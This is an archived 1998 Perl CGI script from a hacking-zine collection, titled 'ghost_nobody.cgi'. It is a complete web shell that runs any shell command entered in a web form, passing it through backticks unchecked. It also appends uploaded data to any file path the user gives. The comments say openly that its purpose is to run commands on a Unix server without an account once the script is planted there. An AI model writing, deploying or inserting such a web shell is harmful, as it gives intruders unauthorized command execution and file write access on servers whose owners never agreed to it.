home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HA 1-12 / HackAddict11.sit / HackAddict 11 ƒ / Files / Seti's UNIX Shell Scripts / ghost_nobody.cgi < prev    next >
Text File  |  1998-02-14  |  3KB  |  99 lines

  1. #!/usr/bin/perl
  2. #Change the above line to fit your system, "which perl" if you don't know
  3. #where it is.
  4. #######################################################################
  5. #
  6. #The object of this perl program is to execute shell commands via the web.
  7. #This is useful because you can issue shell comands to a unix machine
  8. #without having an account. (Although you have to get this program on the
  9. #server somehow).
  10. #Also, depending on what the web server runs it's child processes as you
  11. #can do different things, if the server's child processes are run as root
  12. #then this program could be a potential threat.  Most web servers are
  13. #launched as root but their child processes that handle the requests are
  14. #run as "nobody".
  15. #To upload a file w/this script you must have write privs and the file
  16. #path _must_ be exact.  Make sure this script has the extension ".cgi" or
  17. #".pl"
  18. #The only part of this script that needs to be changed is the $cgi_url
  19. #variable.
  20. #It is set to http://WWW.COMMUNIST.COM/cgi-bin/ghost_nobody.cgi
  21. #Change this to where this script is actually located.
  22. #
  23. #The html is embedded in this script, so you can upload the script
  24. #to wherever the cgi scripts are supposed to go, access the script from
  25. #your browser just like a noraml html file, and start giving commands.
  26. #                                                       -Seti
  27. ########################################################################
  28. #
  29. $cgi_url = "http://WWW.COMMUNIST.COM/cgi-bin/ghost_nobody.cgi";
  30. #
  31. #Change this url!!!
  32. #
  33.  
  34. require "cgi-lib.pl";
  35. require "flush.pl";
  36.  
  37. print "Content-type: text/html\n\n";
  38.  
  39.  
  40. &ReadParse(*input);
  41.  
  42. #Print out the web page and command form
  43. print "<html>\n";
  44. print "<title>Ghost Nobody</title>\n";
  45. print "<body bgcolor=#ffffff>\n";
  46. print "<br>\n";
  47. print "<b>Enter a command:</b>\n";
  48. print "<form action=$cgi_url method=POST>\n";
  49. print "<input type=text size=50 name=command>\n";
  50. print "<input type=submit>\n";
  51. print "</form>\n";
  52. #Done wih the command form
  53.  
  54. print "Stdout: \n";
  55.  
  56. #Do this so it doesn't look like one big blob
  57. @output = `$input{'command'}`;
  58. print "<pre>\n";
  59.  
  60. &flush(STDOUT);
  61. print @output;
  62. &flush(STDOUT);
  63.  
  64. print "</pre>\n";
  65.  
  66. #
  67. #Done with the command section
  68. #Go to upload section:
  69. #
  70. #Print out a couple returns
  71. for ($i=0; $i < 15; $i++) {
  72. print "<br>\n";
  73. }
  74.  
  75. #Upload form
  76. print "<center>\n";
  77. print "<hr width=350 size=2>\n";
  78. print "<b>Upload File: </b>\n";
  79. print "<form action=$cgi_url method=POST enctype=multipart/form-data>\n";
  80. print "<input type=file name=upload>\n";
  81. print "<br>Path: <input type=text name=file_path>\n";
  82. print "<input type=submit value=Upload File>\n";
  83. print "</form>\n";
  84. print "</center>\n";
  85.  
  86. if ($input{'upload'}) {
  87.  
  88. $path = ">>$input{'file_path'}";
  89. if (!open (FILE, $path)) {
  90. print "<b><font color=red>File could not be uploaded</font></b>\n";
  91. exit 0;
  92. }
  93.  
  94. print FILE $input{'upload'};
  95. print "<b><font color=red>File was uploaded sucessfully</font></b>\n";
  96. }
  97.  
  98. print "</body>\n";
  99. print "</html>";